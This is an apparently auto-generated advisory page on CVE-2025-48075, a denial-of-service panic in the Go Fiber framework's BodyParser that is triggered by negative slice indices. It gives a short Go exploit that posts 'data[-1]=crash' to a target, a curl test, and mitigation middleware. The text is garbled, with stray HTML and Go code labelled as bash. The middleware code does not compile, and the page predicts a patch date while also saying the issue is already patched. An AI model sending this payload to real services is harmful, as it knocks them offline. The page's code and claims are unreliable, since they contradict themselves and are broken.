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How CVE-2025-48075 Works
The vulnerability exists in the `fiber.Ctx.BodyParser` function in the Fiber web framework (Go). When parsing user-supplied data with nested slice notation (key
value</code>), an attacker can trigger a panic by providing a negative index (e.g., <code>key[-1]=value</code>). Instead of validating the index and returning an error, the function attempts to process the malformed input, crashing the application. This leads to a denial-of-service (DoS) condition, disrupting services relying on Fiber's request parsing. The issue was patched in v2.52.7 by adding proper bounds checking.
<h2 style="color: blue;">DailyCVE Form</h2>
Platform: Fiber (Go)
Version: 2.52.6
Vulnerability: DoS via panic
Severity: Medium
Date: 05/29/2025
<h2 style="color: blue;">Prediction: Patch expected by 06/05/2025</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Exploitation</h2>
[bash]
package main
import (
"net/http"
"strings"
)
func exploit() {
payload := strings.NewReader("data[-1]=crash")
http.Post("http://target.com/parse", "application/x-www-form-urlencoded", payload)
}
Protection
1. Patch Immediately: Upgrade to Fiber v2.52.7+.
2. Input Validation: Reject requests with negative indices.
3. Middleware Filter:
app.Use(func(c fiber.Ctx) error {
if strings.Contains(c.Body(), "[-") {
return c.Status(400).SendString("Invalid input")
}
return c.Next()
})
Detection
grep -r "BodyParser" /path/to/code Find vulnerable usage curl -X POST -d "test[-1]=1" http://localhost:3000 Test endpoint
Mitigation
- Rate Limiting: Prevent abuse via tools like
github.com/gofiber/limiter. - Recovery Middleware: Use Fiber's built-in panic handler:
app.Use(recover.New())
Analytics
- Impact: Medium (DoS, no RCE).
- Attack Complexity: Low (single malformed request).
- Exploit Availability: Likely within 7 days of disclosure.
References
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
